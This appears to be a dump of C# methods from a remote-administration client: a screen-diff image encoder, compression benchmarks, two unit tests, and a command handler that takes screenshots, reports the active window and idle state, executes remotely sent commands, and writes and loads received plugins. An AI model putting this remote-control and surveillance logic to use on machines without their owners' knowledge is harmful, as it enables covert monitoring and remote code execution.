public void EncodeDefault(MemoryStream OutStream, Bitmap CurrentBitmap, Size blockSize, PixelFormat BitmapFormat) { BlockScan = blockSize; PixelSize = BitmapExtensions.BytesPerPixel(BitmapFormat); if (TrailBitmap == null) { byte[] EncodedBytes = Compressor.Compress(CurrentBitmap); OutStream.Write(BitConverter.GetBytes(EncodedBytes.Length), 0, 4); OutStream.Write(EncodedBytes, 0, EncodedBytes.Length); TrailBitmap = CurrentBitmap; } else { BitmapData TrailData = TrailBitmap.LockBits(new Rectangle(0, 0, TrailBitmap.Width, TrailBitmap.Height), ImageLockMode.ReadOnly, BitmapFormat); BitmapData CurrentData = CurrentBitmap.LockBits(new Rectangle(0, 0, CurrentBitmap.Width, CurrentBitmap.Height), ImageLockMode.ReadOnly, BitmapFormat); int Stride = Math.Abs(TrailData.Stride); Task.WaitAll(new[] { Task.Run(() => UpperProcess(0, 0, TrailData.Width, TrailData.Height / 2, Stride, TrailData.Scan0, CurrentData.Scan0)), Task.Run(() => LowerProcess(0, TrailData.Height / 2, TrailData.Width, TrailData.Height, Stride, TrailData.Scan0, CurrentData.Scan0)), }); CurrentBitmap.UnlockBits(CurrentData); TrailBitmap.UnlockBits(TrailData); List <Rectangle> Changes = new List <Rectangle>(UpperChanges.Count + LowerChanges.Count); Changes.AddRange(UpperChanges); Changes.AddRange(LowerChanges); for (int i = 0; i < Changes.Count; ++i) { Rectangle Change = Changes[i]; OutStream.Write(BitConverter.GetBytes(Change.X), 0, 4); OutStream.Write(BitConverter.GetBytes(Change.Y), 0, 4); OutStream.Write(BitConverter.GetBytes(Change.Width), 0, 4); OutStream.Write(BitConverter.GetBytes(Change.Height), 0, 4); CurrentData = CurrentBitmap.LockBits(new Rectangle(Change.X, Change.Y, Change.Width, Change.Height), ImageLockMode.ReadOnly, BitmapFormat); using (Bitmap ChangedBmp = new Bitmap(Change.Width, Change.Height, CurrentData.Stride, BitmapFormat, CurrentData.Scan0)) { byte[] CompressedImage = Compressor.Compress(ChangedBmp); OutStream.Write(BitConverter.GetBytes(CompressedImage.Length), 0, 4); OutStream.Write(CompressedImage, 0, CompressedImage.Length); } CurrentBitmap.UnlockBits(CurrentData); } TrailBitmap.Dispose(); TrailBitmap = CurrentBitmap; ClearChanges(); } }
private void BenchmarkCompressionSpeed() { using (Bitmap bmpScreenCapture = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) { using (Graphics g = Graphics.FromImage(bmpScreenCapture)) { g.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, bmpScreenCapture.Size, CopyPixelOperation.SourceCopy); } using (var jpgCompressor = new JpgCompression(70)) { for (int i = 0; i < 5; i++) { var sw = Stopwatch.StartNew(); GC.Collect(); GC.WaitForPendingFinalizers(); using (var outStream = new MemoryStream(10000)) { jpgCompressor.Compress(bmpScreenCapture, outStream); var data = outStream.ToArray(); Debug.Print("Managed JPG: Time neeeded: " + sw.ElapsedMilliseconds + ", size: " + data.Length); } } } using (var turboJpg = new NoCompression()) { turboJpg.Quality = 70; var lockBits = bmpScreenCapture.LockBits(new Rectangle(0, 0, bmpScreenCapture.Width, bmpScreenCapture.Height), ImageLockMode.ReadOnly, bmpScreenCapture.PixelFormat); for (int i = 0; i < 5; i++) { GC.Collect(); GC.WaitForPendingFinalizers(); var sw = Stopwatch.StartNew(); var data = turboJpg.Compress(lockBits.Scan0, lockBits.Stride, new System.Drawing.Size(lockBits.Width, lockBits.Height), lockBits.PixelFormat); Debug.Print("LZF: Time neeeded: " + sw.ElapsedMilliseconds + ", size: " + data.Length); } bmpScreenCapture.UnlockBits(lockBits); } } }
public void CompressionTest() { var quality = Int64.MaxValue; var jpg = new JpgCompression(quality); var bitmap = new Bitmap(200, 200); var result = jpg.Compress(bitmap); Assert.IsNotNull(result); CollectionAssert.AllItemsAreNotNull(result); }
public void CompressionTest() { using (var jpg = new JpgCompression(100)) { using (var bitmap = new Bitmap(200, 200)) using (var memoryStream = new MemoryStream()) { jpg.Compress(bitmap, memoryStream); Assert.IsTrue(memoryStream.Length > 0); } } }
public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format, Stream outStream) { lock (_imageProcessLock) { byte *pScan0 = (byte *)scan0.ToInt32(); if (!outStream.CanWrite) { throw new Exception("Must have access to Write in the Stream"); } int stride = 0; int rawLength = 0; int pixelSize = 0; switch (format) { case PixelFormat.Format24bppRgb: case PixelFormat.Format32bppRgb: pixelSize = 3; break; case PixelFormat.Format32bppArgb: case PixelFormat.Format32bppPArgb: pixelSize = 4; break; default: throw new NotSupportedException(format.ToString()); } stride = imageSize.Width * pixelSize; rawLength = stride * imageSize.Height; if (_encodeBuffer == null) { this._encodedFormat = format; this._encodedWidth = imageSize.Width; this._encodedHeight = imageSize.Height; this._encodeBuffer = new byte[rawLength]; fixed(byte *ptr = _encodeBuffer) { byte[] temp = null; using (Bitmap tmpBmp = new Bitmap(imageSize.Width, imageSize.Height, stride, format, scan0)) { temp = _jpgCompression.Compress(tmpBmp); } outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); outStream.Write(temp, 0, temp.Length); NativeMethods.memcpy(new IntPtr(ptr), scan0, (uint)rawLength); } return; } if (this._encodedFormat != format) { throw new Exception("PixelFormat is not equal to previous Bitmap"); } else if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height) { throw new Exception("Bitmap width/height are not equal to previous bitmap"); } long oldPos = outStream.Position; outStream.Write(new byte[4], 0, 4); long totalDataLength = 0; List <Rectangle> blocks = new List <Rectangle>(); Size s = new Size(scanArea.Width, CheckBlock.Height); Size lastSize = new Size(scanArea.Width % CheckBlock.Width, scanArea.Height % CheckBlock.Height); int lasty = scanArea.Height - lastSize.Height; int lastx = scanArea.Width - lastSize.Width; Rectangle cBlock = new Rectangle(); List <Rectangle> finalUpdates = new List <Rectangle>(); s = new Size(scanArea.Width, s.Height); fixed(byte *encBuffer = _encodeBuffer) { var index = 0; for (int y = scanArea.Y; y != scanArea.Height; y += s.Height) { if (y == lasty) { s = new Size(scanArea.Width, lastSize.Height); } cBlock = new Rectangle(scanArea.X, y, scanArea.Width, s.Height); int offset = (y * stride) + (scanArea.X * pixelSize); if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)stride) != 0) { index = blocks.Count - 1; if (blocks.Count != 0 && (blocks[index].Y + blocks[index].Height) == cBlock.Y) { cBlock = new Rectangle(blocks[index].X, blocks[index].Y, blocks[index].Width, blocks[index].Height + cBlock.Height); blocks[index] = cBlock; } else { blocks.Add(cBlock); } } } for (int i = 0; i < blocks.Count; i++) { s = new Size(CheckBlock.Width, blocks[i].Height); for (int x = scanArea.X; x != scanArea.Width; x += s.Width) { if (x == lastx) { s = new Size(lastSize.Width, blocks[i].Height); } cBlock = new Rectangle(x, blocks[i].Y, s.Width, blocks[i].Height); bool foundChanges = false; uint blockStride = (uint)(pixelSize * cBlock.Width); for (int j = 0; j < cBlock.Height; j++) { int blockOffset = (stride * (cBlock.Y + j)) + (pixelSize * cBlock.X); if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0) { foundChanges = true; } NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride); //copy-changes } if (foundChanges) { index = finalUpdates.Count - 1; if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) { Rectangle rect = finalUpdates[index]; int newWidth = cBlock.Width + rect.Width; cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); finalUpdates[index] = cBlock; } else { finalUpdates.Add(cBlock); } } } } } for (int i = 0; i < finalUpdates.Count; i++) { Rectangle rect = finalUpdates[i]; int blockStride = pixelSize * rect.Width; Bitmap tmpBmp = null; BitmapData tmpData = null; long length; try { tmpBmp = new Bitmap(rect.Width, rect.Height, format); tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.ReadWrite, tmpBmp.PixelFormat); for (int j = 0, offset = 0; j < rect.Height; j++) { int blockOffset = (stride * (rect.Y + j)) + (pixelSize * rect.X); NativeMethods.memcpy((byte *)tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes offset += blockStride; } outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); outStream.Write(new byte[4], 0, 4); length = outStream.Length; long old = outStream.Position; _jpgCompression.Compress(tmpBmp, ref outStream); length = outStream.Position - length; outStream.Position = old - 4; outStream.Write(BitConverter.GetBytes(length), 0, 4); outStream.Position += length; } finally { tmpBmp.UnlockBits(tmpData); tmpBmp.Dispose(); } totalDataLength += length + (4 * 5); } outStream.Position = oldPos; outStream.Write(BitConverter.GetBytes(totalDataLength), 0, 4); } }
public unsafe void CodeImage(IntPtr Scan0, Rectangle[] Changes, Size ImageSize, PixelFormat Format, Stream outStream) { byte *pScan0 = (byte *)Scan0.ToInt32(); if (!outStream.CanWrite) { throw new Exception("Must have access to Write in the Stream"); } int Stride = 0; int RawLength = 0; int PixelSize = 0; switch (Format) { case PixelFormat.Format24bppRgb: PixelSize = 3; break; case PixelFormat.Format32bppArgb: case PixelFormat.Format32bppPArgb: PixelSize = 4; break; default: throw new NotSupportedException(Format.ToString()); } Stride = ImageSize.Width * PixelSize; RawLength = Stride * ImageSize.Height; if (EncodeBuffer == null) { this.EncodedFormat = Format; this.EncodedWidth = ImageSize.Width; this.EncodedHeight = ImageSize.Height; this.EncodeBuffer = new byte[RawLength]; fixed(byte *ptr = EncodeBuffer) { byte[] temp = null; using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) { temp = jpgCompression.Compress(TmpBmp); } outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); outStream.Write(temp, 0, temp.Length); NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); } return; } long oldPos = outStream.Position; outStream.Write(new byte[4], 0, 4); int TotalDataLength = 0; for (int i = 0; i < Changes.Length; i++) { Rectangle rect = Changes[i]; int blockStride = PixelSize * rect.Width; Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); for (int j = 0, offset = 0; j < rect.Height; j++) { int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); NativeMethods.memcpy((byte *)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes offset += blockStride; } TmpBmp.UnlockBits(TmpData); outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); outStream.Write(new byte[4], 0, 4); long length = outStream.Position; long OldPos = outStream.Position; jpgCompression.Compress(TmpBmp, ref outStream); length = outStream.Position - length; outStream.Position = OldPos - 4; outStream.Write(BitConverter.GetBytes((int)length), 0, 4); outStream.Position += length; TmpBmp.Dispose(); TotalDataLength += (int)length + (4 * 5); } outStream.Position = oldPos; outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); }
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) { lock (ImageProcessLock) { byte *pScan0; if (IntPtr.Size == 8) { // 64 bit process pScan0 = (byte *)Scan0.ToInt64(); } else { // 32 bit process pScan0 = (byte *)Scan0.ToInt32(); } if (!outStream.CanWrite) { throw new Exception("Must have access to Write in the Stream"); } int Stride = 0; int RawLength = 0; int PixelSize = 0; switch (Format) { case PixelFormat.Format24bppRgb: case PixelFormat.Format32bppRgb: PixelSize = 3; break; case PixelFormat.Format32bppArgb: case PixelFormat.Format32bppPArgb: PixelSize = 4; break; default: throw new NotSupportedException(Format.ToString()); } Stride = ImageSize.Width * PixelSize; RawLength = Stride * ImageSize.Height; if (EncodeBuffer == null) { this.EncodedFormat = Format; this.EncodedWidth = ImageSize.Width; this.EncodedHeight = ImageSize.Height; this.EncodeBuffer = new byte[RawLength]; fixed(byte *ptr = EncodeBuffer) { byte[] temp = null; using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) { temp = base.jpgCompression.Compress(TmpBmp); } outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); outStream.Write(temp, 0, temp.Length); NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); } return; } if (this.EncodedFormat != Format) { throw new Exception("PixelFormat is not equal to previous Bitmap"); } if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) { throw new Exception("Bitmap width/height are not equal to previous bitmap"); } long oldPos = outStream.Position; outStream.Write(new byte[4], 0, 4); long TotalDataLength = 0; List <Rectangle> Blocks = new List <Rectangle>(); Size s = new Size(ScanArea.Width, CheckBlock.Height); Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height); int lasty = ScanArea.Height - lastSize.Height; int lastx = ScanArea.Width - lastSize.Width; Rectangle cBlock = new Rectangle(); List <Rectangle> finalUpdates = new List <Rectangle>(); s = new Size(ScanArea.Width, s.Height); fixed(byte *encBuffer = EncodeBuffer) { var index = 0; //for (int y = ScanArea.Y; y != ScanArea.Height; ) for (int y = ScanArea.Y; y != ScanArea.Height; y += s.Height) { if (y == lasty) { s = new Size(ScanArea.Width, lastSize.Height); } cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height); //if (onCodeDebugScan != null) // onCodeDebugScan(cBlock); int offset = (y * Stride) + (ScanArea.X * PixelSize); if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0) { index = Blocks.Count - 1; if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) { cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); Blocks[index] = cBlock; } else { Blocks.Add(cBlock); } } } for (int i = 0; i < Blocks.Count; i++) { s = new Size(CheckBlock.Width, Blocks[i].Height); for (int x = ScanArea.X; x != ScanArea.Width; x += s.Width) { if (x == lastx) { s = new Size(lastSize.Width, Blocks[i].Height); } cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height); bool foundChanges = false; uint blockStride = (uint)(PixelSize * cBlock.Width); for (int j = 0; j < cBlock.Height; j++) { int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X); if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0) { foundChanges = true; } NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride); //copy-changes } if (foundChanges) { index = finalUpdates.Count - 1; if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) { Rectangle rect = finalUpdates[index]; int newWidth = cBlock.Width + rect.Width; cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); finalUpdates[index] = cBlock; } else { finalUpdates.Add(cBlock); } } } } } /*int maxHeight = 0; * int maxWidth = 0; * * for (int i = 0; i < finalUpdates.Count; i++) * { * if (finalUpdates[i].Height > maxHeight) * maxHeight = finalUpdates[i].Height; * maxWidth += finalUpdates[i].Width; * } * * Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1); * int XOffset = 0;*/ for (int i = 0; i < finalUpdates.Count; i++) { Rectangle rect = finalUpdates[i]; int blockStride = PixelSize * rect.Width; Bitmap tmpBmp = null; BitmapData tmpData = null; long length; try { tmpBmp = new Bitmap(rect.Width, rect.Height, Format); tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height), ImageLockMode.ReadWrite, tmpBmp.PixelFormat); for (int j = 0, offset = 0; j < rect.Height; j++) { int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); NativeMethods.memcpy((byte *)tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes offset += blockStride; } outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); outStream.Write(new byte[4], 0, 4); length = outStream.Length; long old = outStream.Position; _jpgCompression.Compress(tmpBmp, ref outStream); length = outStream.Position - length; outStream.Position = old - 4; outStream.Write(BitConverter.GetBytes(length), 0, 4); outStream.Position += length; } finally { tmpBmp.UnlockBits(tmpData); tmpBmp.Dispose(); } TotalDataLength += length + (4 * 5); } outStream.Position = oldPos; outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); } }
private void ProcessResponse(byte parameter, int size, byte[] bytes) { switch ((FromAdministrationPackage)parameter) { case FromAdministrationPackage.InitializeNewSession: var id = BitConverter.ToUInt16(bytes, 0); var connection = new AdministrationConnection(id, this, _clientInfo); connection.SendFailed += (sender, args) => Dispose(); AdministrationConnections.Add(connection); lock (SendLock) { BinaryWriter.Write((byte)FromClientPackage.ResponseLoginOpen); BinaryWriter.Write(2); BinaryWriter.Write(BitConverter.GetBytes(id)); } break; case FromAdministrationPackage.SendStaticCommand: var potentialCommand = new Serializer(typeof(PotentialCommand)).Deserialize <PotentialCommand>(bytes, 0); StaticCommandSelector.Current.ExecuteCommand(potentialCommand); break; case FromAdministrationPackage.SendStaticCommandCompressed: potentialCommand = new Serializer(typeof(PotentialCommand)).Deserialize <PotentialCommand>(LZF.Decompress(bytes, 0), 0); StaticCommandSelector.Current.ExecuteCommand(potentialCommand); break; case FromAdministrationPackage.LoadPlugin: var guid = new Guid(bytes.Skip(2).Take(16).ToArray()); var version = new Serializer(typeof(PluginVersion)).Deserialize <PluginVersion>(bytes, 18); var versionData = Encoding.ASCII.GetBytes(version.ToString()); if (LoadPlugin(guid, version)) { lock (SendLock) { BinaryWriter.Write((byte)FromClientPackage.PluginLoaded); BinaryWriter.Write(16 + versionData.Length); BinaryWriter.Write(guid.ToByteArray()); BinaryWriter.Write(versionData); } } else { lock (SendLock) { BinaryWriter.Write((byte)FromClientPackage.PluginLoadFailed); BinaryWriter.Write(2 + 16 + versionData.Length); BinaryWriter.Write(bytes, 0, 2); //administration id BinaryWriter.Write(guid.ToByteArray()); BinaryWriter.Write(versionData); } } break; case FromAdministrationPackage.CloseSession: var closingSessionId = BitConverter.ToUInt16(bytes, 0); var session = AdministrationConnections.FirstOrDefault(x => x.Id == closingSessionId); if (session != null) { AdministrationConnections.Remove(session); session.Dispose(); } break; case FromAdministrationPackage.GetActiveWindow: try { string windowTitle = ""; var lastInPut = new LASTINPUTINFO(); lastInPut.cbSize = (uint)Marshal.SizeOf(lastInPut); //15 min if (NativeMethods.GetLastInputInfo(ref lastInPut) && (uint)Environment.TickCount - lastInPut.dwTime > 900000) { windowTitle += "[Idle] "; } windowTitle += ActiveWindowHook.GetActiveWindowTitle() ?? ""; var windowTitleData = Encoding.UTF8.GetBytes(windowTitle); lock (SendLock) { BinaryWriter.Write((byte)FromClientPackage.ResponseActiveWindow); BinaryWriter.Write(windowTitleData.Length + 2); BinaryWriter.Write(bytes); BinaryWriter.Write(windowTitleData); } } catch (Exception ex) { ErrorReporter.Current.ReportError(ex, "case FromAdministrationPackage.GetActiveWindow"); } break; case FromAdministrationPackage.GetScreen: try { using (var compressor = new JpgCompression(75)) { byte[] screenshotData; using (var memoryStream = new MemoryStream()) using (var screenshot = ScreenHelper.TakeScreenshot()) { compressor.Compress(screenshot, memoryStream); screenshotData = memoryStream.ToArray(); } lock (SendLock) { BinaryWriter.Write((byte)FromClientPackage.ResponseScreenshot); BinaryWriter.Write(screenshotData.Length + 2); BinaryWriter.Write(bytes); BinaryWriter.Write(screenshotData); } } } catch (Exception ex) { ErrorReporter.Current.ReportError(ex, "case FromAdministrationPackage.GetScreen"); } break; case FromAdministrationPackage.AcceptPush: FileTransferAccepted?.Invoke(this, new FileTransferEventArgs(new Guid(bytes))); break; case FromAdministrationPackage.TransferCompleted: FileTransferCompleted?.Invoke(this, new FileTransferEventArgs(new Guid(bytes))); break; case FromAdministrationPackage.IsAlive: lock (SendLock) { BinaryWriter.Write((byte)FromClientPackage.StillAlive); BinaryWriter.Write(0); } break; case FromAdministrationPackage.SendStaticCommandPlugin: var pluginDirectory = new DirectoryInfo(Consts.StaticCommandPluginsDirectory); if (!pluginDirectory.Exists) { pluginDirectory.Create(); } var filename = FileExtensions.GetUniqueFileName(pluginDirectory.FullName); using (var fileStream = new FileStream(filename, FileMode.CreateNew, FileAccess.Write)) fileStream.Write(bytes, 4, bytes.Length - 4); StaticCommandPluginReceived?.Invoke(this, new StaticCommandPluginReceivedEventArgs(filename, BitConverter.ToInt32(bytes, 0))); break; case FromAdministrationPackage.RequestLibraryInformation: var libraries = (PortableLibrary)BitConverter.ToInt32(bytes, 2); var libraryHashes = (size - 6) / 16; var hashes = new List <byte[]>(libraryHashes); for (int i = 0; i < libraryHashes; i++) { var hash = new byte[16]; Buffer.BlockCopy(bytes, 6 + i * 16, hash, 0, 16); hashes.Add(hash); } var result = LibraryLoader.Current.CheckLibraries(libraries, hashes); lock (SendLock) { BinaryWriter.Write((byte)FromClientPackage.ResponseLibraryInformation); BinaryWriter.Write(6); BinaryWriter.Write(bytes, 0, 2); //administration id BinaryWriter.Write(BitConverter.GetBytes((int)result)); } break; case FromAdministrationPackage.StopActiveCommand: StaticCommandSelector.Current.StopActiveCommand(BitConverter.ToInt32(bytes, 0)); break; } }